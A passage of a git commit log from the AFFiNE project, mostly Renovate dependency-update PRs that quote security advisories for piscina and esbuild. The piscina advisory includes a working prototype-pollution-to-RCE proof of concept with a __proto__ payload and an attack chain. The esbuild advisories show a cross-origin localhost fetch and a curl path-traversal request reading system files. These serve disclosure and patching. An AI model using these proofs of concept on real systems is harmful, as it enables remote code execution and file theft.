[#&#8203;1143](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1143)
- chore: add context7.json by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1144](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1144)
- build(eslint): update eslint.config.mjs by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1145](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1145)
- ci(github workflow): harden github workflows by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1146](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1146)
- chore(package): bump dev deps by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1147](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1147)
- ci(ci.yml): unpin node 24 by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1148](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1148)
- docs(recipes): fix servers.md http.createServer example by
[@&#8203;hacklschorsch](https://redirect.github.com/hacklschorsch) in
[#&#8203;1150](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1150)
- ci: publish with oidc by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1152](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1152)
- chore(package.json): bump dev deps by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1153](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1153)
- chore(package.json): bump dev deps by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1155](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1155)
- chore(package.json): bump dev deps by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1158](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1158)
- test(types.spec.ts): add type check when req or res are 'any' by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1161](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1161)
- chore(package.json): bump deps by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1164](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1164)
- chore(package.json): eslint v10 by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1165](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1165)
- chore(package.json): bump dev deps by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1166](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1166)
- chore(package.json): bump dev-deps by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1171](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1171)
- docs(examples): fix websocket example by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1170](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1170)
- build(vscode): use workspace version of TypeScript by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1173](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1173)
- fix(router): harden proxy-table matching by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1254](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1254)
- chore(package.json): v3.0.6 by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1256](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1256)

#### New Contributors

- [@&#8203;knudtty](https://redirect.github.com/knudtty) made their
first contribution in
[#&#8203;1103](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1103)
- [@&#8203;DEBargha2004](https://redirect.github.com/DEBargha2004) made
their first contribution in
[#&#8203;1135](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1135)
- [@&#8203;hacklschorsch](https://redirect.github.com/hacklschorsch)
made their first contribution in
[#&#8203;1150](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1150)

**Full Changelog**:
<https://github.com/chimurai/http-proxy-middleware/compare/v3.0.5...v3.0.6>

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yMzEuMSIsInVwZGF0ZWRJblZlciI6IjQzLjIzMS4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-06-19 12:18:31 +08:00
renovate[bot] 9a9f243966 chore: bump up piscina version to v5.2.0 [SECURITY] (#15132)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [piscina](https://redirect.github.com/piscinajs/piscina) | [`5.1.4` →
`5.2.0`](https://renovatebot.com/diffs/npm/piscina/5.1.4/5.2.0) |
![age](https://developer.mend.io/api/mc/badges/age/npm/piscina/5.2.0?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/piscina/5.1.4/5.2.0?slim=true)
|

---

### piscina: Prototype Pollution Gadget → RCE via inherited
options.filename
[CVE-2026-55388](https://nvd.nist.gov/vuln/detail/CVE-2026-55388) /
[GHSA-x9g3-xrwr-cwfg](https://redirect.github.com/advisories/GHSA-x9g3-xrwr-cwfg)

<details>
<summary>More information</summary>

#### Details
##### Summary

`piscina`'s constructor and `run()` paths read the `filename` option via
plain member access:

```js
// dist/index.js line 92 (constructor)
const filename = options.filename
  ? (0, common_1.maybeFileURLToPath)(options.filename)
  : null;
this.options = { ...kDefaultOptions, ...options, filename, maxQueue: 0 };

// dist/index.js line 616 (run())
run(task, options = kDefaultRunOptions) {
    if (options === null || typeof options !== 'object') {
        return Promise.reject(new TypeError('options must be an object'));
    }
    const { transferList, filename, name, signal } = options;
```

Both reads fall through the prototype chain when the caller's options
object doesn't have `filename` as an own property. When
`Object.prototype.filename` is polluted upstream — by any of the
well-documented PP-source CVEs (lodash<4.17.13, qs<6.10.3,
set-value<4.1.0, minimist<1.2.6, deepmerge<4.2.2, and others) — the
inherited value flows to `worker_threads.Worker` import and the
attacker's `.mjs` runs in the worker.

**Subtlety**: calling `pool.run(task)` with no second arg uses
`kDefaultRunOptions` which has `filename: null` as an OWN property —
that path DOES NOT fire. The vulnerable shape is when the caller passes
their own options object (commonly `{signal: ac.signal}` for abort
support, `{name: ...}` for task labelling, etc.). These caller-built
options objects inherit from `Object.prototype` unless the caller
explicitly uses `Object.create(null)`.

##### Impact

Two preconditions:

1. **Upstream PP-source** somewhere in the process — common in
transitive deps
2. **Attacker-controllable `.mjs`** at a known filesystem path —
realistic via upload endpoints, /tmp races, predictable node_modules
paths, or supply-chain

Once both fire:
- Every `pool.run(task, opts)` call across the entire process is
hijacked
- Attacker's exported function is called with the legitimate caller's
task data — **attacker reads per-request app data**
- Attacker controls the return value — caller receives
`worker_response.by = "ATTACKER-WORKER"` and any other attacker-supplied
response fields — **attacker can poison return values to legitimate
clients**
- Hijack persists until process restart

Strictly worse than the analogous pino chain because piscina actually
*invokes* the attacker function with caller data on every dispatch (pino
imports the attacker module once and errors out).

##### Affected versions

Empirically verified vulnerable on `piscina@5.1.4` (latest stable at
time of disclosure). The bug shape is in the constructor's
`options.filename` read at line 92 of `dist/index.js`, present since the
worker-pool API stabilized — likely all 3.x / 4.x / 5.x affected.

##### Proof of concept

##### A) Minimal in-process PoC

```js
import fs from 'fs';

// 1) Drop the attacker module (any path the victim process can read)
fs.writeFileSync('/tmp/atk.mjs', `
  import fs from 'fs';
  fs.writeFileSync('/tmp/PISCINA_RCE_SENTINEL', JSON.stringify({
    rce: 'CONFIRMED', pid: process.pid, argv1: process.argv[1],
  }));
  export default function(arg) { return 'attacker-return-' + JSON.stringify(arg); }
`);

// 2) Upstream PP-source — pollute Object.prototype.filename
//    (representative of CVE-2019-10744 lodash<4.17.13, CVE-2022-24999 qs<6.10.3,
//     and ~30 historical PP-source CVEs)
const payload = JSON.parse('{"__proto__":{"filename":"/tmp/atk.mjs"}}');
function vulnMerge(t, s) {
  for (const k of Object.keys(s)) {
    if (s[k] !== null && typeof s[k] === 'object') {
      if (!t[k]) t[k] = {};
      vulnMerge(t[k], s[k]);
    } else t[k] = s[k];
  }
}
vulnMerge({}, payload);

// 3) Piscina with empty options inherits the polluted filename
const { Piscina } = await import('piscina');
const p = new Piscina({});                        // inherits filename
const result = await p.run({});                   // worker imports /tmp/atk.mjs
await p.destroy();

// 4) sentinel exists; attacker fn was called with task data
console.log(fs.readFileSync('/tmp/PISCINA_RCE_SENTINEL', 'utf8'));
console.log('attacker fn returned:', result);
// → "attacker-return-{}"
```

##### B) Full-stack HTTP chain (this is the realistic shape)

A correctly-initialized pool gets hijacked by attacker activity. Pool is
created at server boot with a legitimate worker, then per-request
handlers call `pool.run(req.body, {signal: ac.signal})` — the standard
abort-aware shape.

```js
// === server.mjs ===
import express from 'express';
import { Piscina } from 'piscina';

// Vulnerable PP-source middleware (lodash<4.17.13 equivalent)
function vulnMerge(t, s) {
  for (const k of Object.keys(s)) {
    if (s[k] !== null && typeof s[k] === 'object') {
      if (!t[k]) t[k] = {};
      vulnMerge(t[k], s[k]);
    } else t[k] = s[k];
  }
}

// CORRECT pool init at boot
const pool = new Piscina({
  filename: './valid-worker.mjs',
  minThreads: 1, maxThreads: 2,
});

const config = {};
const app = express();

app.post('/api/settings', express.json(), (req, res) => {
  vulnMerge(config, req.body);                    // PP source
  res.json({ ok: true });
});

app.post('/api/process', express.json(), async (req, res) => {
  const ac = new AbortController();
  const result = await pool.run(req.body, { signal: ac.signal });  // <-- hijacked
  res.json({ ok: true, worker_response: result });
});

app.listen(7755);

// === Attacker, 3 HTTP requests ===
// POST /upload  → drops /tmp/atk.mjs
// POST /api/settings with body: {"__proto__":{"filename":"/tmp/atk.mjs"}}
// POST /api/process → pool.run() destructures filename via prototype
//                  → worker imports /tmp/atk.mjs
//                  → attacker fn called with req.body of THIS request
//                  → caller receives attacker-shaped response
```

Empirical observation on `piscina@5.1.4` + Node 23.11.0:
- Pre-attack `/api/process` returns `{by: 'valid-worker'}`
- Cold-path `/probe` after PP source confirms `({}).filename` is
polluted process-wide
- Post-attack `/api/process` returns `{by: 'ATTACKER-WORKER', processed:
<caller's exfil data>}`
- Sentinel file written from inside `piscina/dist/worker.js` with the
worker process's uid + env access

##### Recommended fix

Minimal — own-property guard at both option-read sites:

```js
// constructor (line 92)
const userFilename = Object.prototype.hasOwnProperty.call(options, 'filename')
  ? options.filename
  : null;
const filename = userFilename
  ? (0, common_1.maybeFileURLToPath)(userFilename)
  : null;

// run() (line 616)
const safeOpts = Object.create(null);
Object.assign(safeOpts, options);          // copies own props only? — keeps shape
const { transferList, filename, name, signal } = safeOpts;
```

More idiomatic — use a null-prototype working object throughout
`this.options`:

```js
const safeOpts = Object.create(null);
Object.assign(safeOpts, kDefaultOptions, options);
this.options = safeOpts;
this.options.filename = safeOpts.filename
  ? (0, common_1.maybeFileURLToPath)(safeOpts.filename)
  : null;
this.options.maxQueue = 0;
```

Either approach closes the gadget without breaking any legitimate caller
pattern.

The pattern is the same as recommended for axios CVE-2026-44494 and the
pino PSA filed earlier today. Cross-fix consideration: any other library
you maintain that uses similar `options.X` member-access for worker /
child-process / module-load operations is worth a quick audit.

##### Coordination

- Same maintainer as pino — you're already in security-triage mode for
that PSA. Happy to coordinate timing / disclosure dates across both.
- Will not share publicly until GHSA published or 90 days.
- Please credit `ridingsa` if you choose to credit a reporter.

##### How this was discovered

Generalized the pino disclosure's mechanism — any library that reads a
string option via plain member access and dynamic-loads it (via
`import()` / `require()` / `new Worker()`) is a candidate. Ran a sweep
across 10 candidate libraries; piscina + fastify (via pino propagation)
fired. Piscina is independently vulnerable through its own option-read
sites, hence this separate disclosure.

#### Severity
- CVSS Score: 8.1 / 10 (High)
- Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H`

#### References
-
[https://github.com/piscinajs/piscina/security/advisories/GHSA-x9g3-xrwr-cwfg](https://redirect.github.com/piscinajs/piscina/security/advisories/GHSA-x9g3-xrwr-cwfg)
-
[https://github.com/advisories/GHSA-x9g3-xrwr-cwfg](https://redirect.github.com/advisories/GHSA-x9g3-xrwr-cwfg)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-x9g3-xrwr-cwfg)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Release Notes

<details>
<summary>piscinajs/piscina (piscina)</summary>

###
[`v5.2.0`](https://redirect.github.com/piscinajs/piscina/compare/v5.1.4...v5.2.0)

[Compare
Source](https://redirect.github.com/piscinajs/piscina/compare/v5.1.4...v5.2.0)

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yMzEuMSIsInVwZGF0ZWRJblZlciI6IjQzLjIzMS4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-06-19 12:18:17 +08:00
Tines Valen e2624d93c7 fix(core): filters emojipicker on label in addition to tags (#15129)
Fixes #15116 
# Issue
Emojipicker keyword filtering only filtered on `tags`, and not `label`.
So searching for an emoji's name would not result in said emoji ending
up in the result. E.G. searching "sunflower" does not make 🌻 appear

# Solution
Adding an extra condition to the filter function to check if the keyword
is a substring of an emoji's label

# Result
Search results now include emojis with that `label`

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Improved emoji picker search to include matches on both emoji labels
and tags (case-insensitive), enabling broader search results for better
discoverability.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-06-18 22:07:27 +08:00
renovate[bot] 766219d4e1 chore: bump up nestjs to v11.1.27 (#15130)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [@nestjs/common](https://nestjs.com)
([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/common))
| [`11.1.24` →
`11.1.27`](https://renovatebot.com/diffs/npm/@nestjs%2fcommon/11.1.24/11.1.27)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fcommon/11.1.27?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fcommon/11.1.24/11.1.27?slim=true)
|
| [@nestjs/core](https://nestjs.com)
([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/core))
| [`11.1.24` →
`11.1.27`](https://renovatebot.com/diffs/npm/@nestjs%2fcore/11.1.24/11.1.27)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fcore/11.1.27?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fcore/11.1.24/11.1.27?slim=true)
|
| [@nestjs/platform-express](https://nestjs.com)
([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/platform-express))
| [`11.1.24` →
`11.1.27`](https://renovatebot.com/diffs/npm/@nestjs%2fplatform-express/11.1.24/11.1.27)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fplatform-express/11.1.27?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fplatform-express/11.1.24/11.1.27?slim=true)
|
| [@nestjs/platform-socket.io](https://nestjs.com)
([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/platform-socket.io))
| [`11.1.24` →
`11.1.27`](https://renovatebot.com/diffs/npm/@nestjs%2fplatform-socket.io/11.1.24/11.1.27)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fplatform-socket.io/11.1.27?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fplatform-socket.io/11.1.24/11.1.27?slim=true)
|
| [@nestjs/websockets](https://redirect.github.com/nestjs/nest)
([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/websockets))
| [`11.1.24` →
`11.1.27`](https://renovatebot.com/diffs/npm/@nestjs%2fwebsockets/11.1.24/11.1.27)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fwebsockets/11.1.27?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fwebsockets/11.1.24/11.1.27?slim=true)
|

---

> [!WARNING]
> Some dependencies could not be looked up. Check the [Dependency
Dashboard](../issues/5188) for more information.

---

### Release Notes

<details>
<summary>nestjs/nest (@&#8203;nestjs/common)</summary>

###
[`v11.1.27`](https://redirect.github.com/nestjs/nest/releases/tag/v11.1.27)

[Compare
Source](https://redirect.github.com/nestjs/nest/compare/v11.1.26...v11.1.27)

#### What's Changed

- fix(core): sse async handlers teardown issue by
[@&#8203;kamilmysliwiec](https://redirect.github.com/kamilmysliwiec) in
[#&#8203;17131](https://redirect.github.com/nestjs/nest/pull/17131)
- fix(platform-fastify): forRoutes middleware ending slash by
[@&#8203;kamilmysliwiec](https://redirect.github.com/kamilmysliwiec) in
[#&#8203;17138](https://redirect.github.com/nestjs/nest/pull/17138)

**Full Changelog**:
<https://github.com/nestjs/nest/compare/v11.1.26...v11.1.27>

###
[`v11.1.26`](https://redirect.github.com/nestjs/nest/releases/tag/v11.1.26)

[Compare
Source](https://redirect.github.com/nestjs/nest/compare/v11.1.25...v11.1.26)

#### What's Changed

- fix(core): post sse endpoint empty response
[#&#8203;17098](https://redirect.github.com/nestjs/nest/issues/17098) by
[@&#8203;kamilmysliwiec](https://redirect.github.com/kamilmysliwiec) in
[#&#8203;17099](https://redirect.github.com/nestjs/nest/pull/17099)

**Full Changelog**:
<https://github.com/nestjs/nest/compare/v11.1.25...v11.1.26>

###
[`v11.1.25`](https://redirect.github.com/nestjs/nest/compare/v11.1.24...02f804159841a2771755c382832a7938b904c420)

[Compare
Source](https://redirect.github.com/nestjs/nest/compare/v11.1.24...v11.1.25)

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these
updates again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yMTkuMCIsInVwZGF0ZWRJblZlciI6IjQzLjIxOS4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-06-18 22:06:24 +08:00
renovate[bot] 01d7ef88e3 chore: bump up esbuild version to ^0.28.0 [SECURITY] (#15128)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [esbuild](https://redirect.github.com/evanw/esbuild) | [`^0.25.12` →
`^0.28.0`](https://renovatebot.com/diffs/npm/esbuild/0.25.12/0.28.1) |
![age](https://developer.mend.io/api/mc/badges/age/npm/esbuild/0.28.1?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/esbuild/0.25.12/0.28.1?slim=true)
|

---

> [!WARNING]
> Some dependencies could not be looked up. Check the [Dependency
Dashboard](../issues/5188) for more information.

---

### esbuild enables any website to send any requests to the development
server and read the response

[GHSA-67mh-4wv8-2f99](https://redirect.github.com/advisories/GHSA-67mh-4wv8-2f99)

<details>
<summary>More information</summary>

#### Details
##### Summary

esbuild allows any websites to send any request to the development
server and read the response due to default CORS settings.

##### Details

esbuild sets `Access-Control-Allow-Origin: *` header to all requests,
including the SSE connection, which allows any websites to send any
request to the development server and read the response.


https://github.com/evanw/esbuild/blob/df815ac27b84f8b34374c9182a93c94718f8a630/pkg/api/serve_other.go#L121

https://github.com/evanw/esbuild/blob/df815ac27b84f8b34374c9182a93c94718f8a630/pkg/api/serve_other.go#L363

**Attack scenario**:

1. The attacker serves a malicious web page
(`http://malicious.example.com`).
1. The user accesses the malicious web page.
1. The attacker sends a `fetch('http://127.0.0.1:8000/main.js')` request
by JS in that malicious web page. This request is normally blocked by
same-origin policy, but that's not the case for the reasons above.
1. The attacker gets the content of `http://127.0.0.1:8000/main.js`.

In this scenario, I assumed that the attacker knows the URL of the
bundle output file name. But the attacker can also get that information
by

- Fetching `/index.html`: normally you have a script tag here
- Fetching `/assets`: it's common to have a `assets` directory when you
have JS files and CSS files in a different directory and the directory
listing feature tells the attacker the list of files
- Connecting `/esbuild` SSE endpoint: the SSE endpoint sends the URL
path of the changed files when the file is changed (`new
EventSource('/esbuild').addEventListener('change', e =>
console.log(e.type, e.data))`)
- Fetching URLs in the known file: once the attacker knows one file, the
attacker can know the URLs imported from that file

The scenario above fetches the compiled content, but if the victim has
the source map option enabled, the attacker can also get the
non-compiled content by fetching the source map file.

##### PoC

1. Download
[reproduction.zip](https://redirect.github.com/user-attachments/files/18561484/reproduction.zip)
2. Extract it and move to that directory
1. Run `npm i`
1. Run `npm run watch`
1. Run `fetch('http://127.0.0.1:8000/app.js').then(r =>
r.text()).then(content => console.log(content))` in a different
website's dev tools.


![image](https://redirect.github.com/user-attachments/assets/08fc2e4d-e1ec-44ca-b0ea-78a73c3c40e9)

##### Impact

Users using the serve feature may get the source code stolen by
malicious websites.

#### Severity
- CVSS Score: 5.3 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N`

#### References
-
[https://github.com/evanw/esbuild/security/advisories/GHSA-67mh-4wv8-2f99](https://redirect.github.com/evanw/esbuild/security/advisories/GHSA-67mh-4wv8-2f99)
-
[https://github.com/evanw/esbuild/commit/de85afd65edec9ebc44a11e245fd9e9a2e99760d](https://redirect.github.com/evanw/esbuild/commit/de85afd65edec9ebc44a11e245fd9e9a2e99760d)
-
[https://github.com/advisories/GHSA-67mh-4wv8-2f99](https://redirect.github.com/advisories/GHSA-67mh-4wv8-2f99)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-67mh-4wv8-2f99)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### esbuild allows arbitrary file read when running the development
server on Windows

[GHSA-g7r4-m6w7-qqqr](https://redirect.github.com/advisories/GHSA-g7r4-m6w7-qqqr)

<details>
<summary>More information</summary>

#### Details
##### Summary

The development server contains a path traversal vulnerability on
Windows when serving files from `servedir`.

Due to the use of `path.Clean()` (which only normalizes forward-slash
`/` separators) instead of a Windows-aware path normalization function,
it is possible to craft requests using backslashes (`\`) that bypass the
intended directory containment logic. An attacker can escape the
configured `servedir` root and access arbitrary files on the filesystem.
This issue affects Windows environments only.

##### Details

The request path is sanitized using:
```go
// https://github.com/evanw/esbuild/blob/v0.27.3/pkg/api/serve_other.go#L165
queryPath := path.Clean(req.URL.Path)[1:]
```

However:
- `path.Clean()` is POSIX-style and only understands `/` (docs:
`https://pkg.go.dev/path#Clean`)
- On Windows, `\` is a valid path separator
- `path.Clean()` does not treat `\` as a separator

Later, the server constructs the absolute path:
```go
// https://github.com/evanw/esbuild/blob/v0.27.3/pkg/api/serve_other.go#L221
absPath := h.fs.Join(h.servedir, queryPath)
```

If `queryPath` contains sequences such as:
```
..\..\..\..\..\..\..\Windows\system.ini
```

`path.Clean()` will not normalize them, but the Windows filesystem will
interpret `\` as directory separators when resolving `absPath`.
Because the implementation does not verify that the final resolved path
remains within `servedir`, it allows directory traversal outside the
intended root directory.

##### Vulnerable Code

```go
// https://github.com/evanw/esbuild/blob/v0.27.3/pkg/api/serve_other.go#L165
	queryPath := path.Clean(req.URL.Path)[1:]
	....
	// Check for a file in the "servedir" directory
	if h.servedir != "" && kind != fs.FileEntry {
		absPath := h.fs.Join(h.servedir, queryPath)
		if absDir := h.fs.Dir(absPath); absDir != absPath {
			if entries, err, _ := h.fs.ReadDirectory(absDir); err == nil {
				if entry, _ := entries.Get(h.fs.Base(absPath)); entry != nil && entry.Kind(h.fs) == fs.FileEntry {
	....				
```

##### Steps to reproduce

```
npm install --save-exact --save-dev esbuild

echo "console.log(1)" > app.js

.\node_modules\.bin\esbuild --version
0.27.3

.\node_modules\.bin\esbuild app.js --bundle --outdir=www --servedir=www --watch

curl -i --path-as-is "http://localhost:8000/..\..\..\..\..\..\..\Windows\system.ini"
<content of Windows\system.ini>
```

##### Impact

- Arbitrary file read on Windows
- Exposure of sensitive files

#### Severity
- CVSS Score: 2.5 / 10 (Low)
- Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N`

#### References
-
[https://github.com/evanw/esbuild/security/advisories/GHSA-g7r4-m6w7-qqqr](https://redirect.github.com/evanw/esbuild/security/advisories/GHSA-g7r4-m6w7-qqqr)
-
[https://github.com/evanw/esbuild/releases/tag/v0.28.1](https://redirect.github.com/evanw/esbuild/releases/tag/v0.28.1)
-
[https://github.com/advisories/GHSA-g7r4-m6w7-qqqr](https://redirect.github.com/advisories/GHSA-g7r4-m6w7-qqqr)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-g7r4-m6w7-qqqr)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Release Notes

<details>
<summary>evanw/esbuild (esbuild)</summary>

###
[`v0.28.1`](https://redirect.github.com/evanw/esbuild/blob/HEAD/CHANGELOG.md#0281)

[Compare
Source](https://redirect.github.com/evanw/esbuild/compare/v0.28.0...v0.28.1)

- Disallow `\\` in local development server HTTP requests
([GHSA-g7r4-m6w7-qqqr](https://redirect.github.com/evanw/esbuild/security/advisories/GHSA-g7r4-m6w7-qqqr))

This release fixes a security issue where HTTP requests to esbuild's
local development server could traverse outside of the serve directory
on Windows using a `\\` backslash character. It happened due to the use
of Go's `path.Clean()` function, which only handles Unix-style `/`
characters. HTTP requests with paths containing `\\` are no longer
allowed.

Thanks to [@&#8203;dellalibera](https://redirect.github.com/dellalibera)
for reporting this issue.

- Add integrity checks to the Deno API
([GHSA-gv7w-rqvm-qjhr](https://redirect.github.com/evanw/esbuild/security/advisories/GHSA-gv7w-rqvm-qjhr))

The previous release of esbuild added integrity checks to esbuild's npm
install script. This release also adds integrity checks to esbuild's
Deno install script. Now esbuild's Deno API will also fail with an error
if the downloaded esbuild binary contains something other than the
expected content.

Note that esbuild's Deno API installs from `registry.npmjs.org` by
default, but allows the `NPM_CONFIG_REGISTRY` environment variable to
override this with a custom package registry. This change means that the
esbuild executable served by `NPM_CONFIG_REGISTRY` must now match the
expected content.

Thanks to [@&#8203;sondt99](https://redirect.github.com/sondt99) for
reporting this issue.

- Avoid inlining `using` and `await using` declarations
([#&#8203;4482](https://redirect.github.com/evanw/esbuild/issues/4482))

Previously esbuild's minifier sometimes incorrectly inlined `using` and
`await using` declarations into subsequent uses of that declaration,
which then fails to dispose of the resource correctly. This bug happened
because inlining was done for `let` and `const` declarations by avoiding
doing it for `var` declarations, which no longer worked when more
declaration types were added. Here's an example:

  ```js
  // Original code
  {
    using x = new Resource()
    x.activate()
  }

  // Old output (with --minify)
  new Resource().activate();

  // New output (with --minify)
  {using e=new Resource;e.activate()}
  ```

- Fix module evaluation when an error is thrown
([#&#8203;4461](https://redirect.github.com/evanw/esbuild/issues/4461),
[#&#8203;4467](https://redirect.github.com/evanw/esbuild/pull/4467))

If an error is thrown during module evaluation, esbuild previously
didn't preserve the state of the module for subsequent module
references. This was observable if `import()` or `require()` is used to
import a module multiple times. The thrown error is supposed to be
thrown by every call to `import()` or `require()`, not just the first.
With this release, esbuild will now throw the same error every time you
call `import()` or `require()` on a module that throws during its
evaluation.

- Fix some edge cases around the `new` operator
([#&#8203;4477](https://redirect.github.com/evanw/esbuild/issues/4477))

Previously esbuild incorrectly printed certain edge cases involving
complex expressions inside the target of a `new` expression
(specifically an optional chain and/or a tagged template literal). The
generated code for the `new` target was not correctly wrapped with
parentheses, and either contained a syntax error or had different
semantics. These edge cases have been fixed so that they now correctly
wrap the `new` target in parentheses. Here is an example of some
affected code:

  ```js
  // Original code
  new (foo()`bar`)()
  new (foo()?.bar)()

  // Old output
  new foo()`bar`();
  new (foo())?.bar();
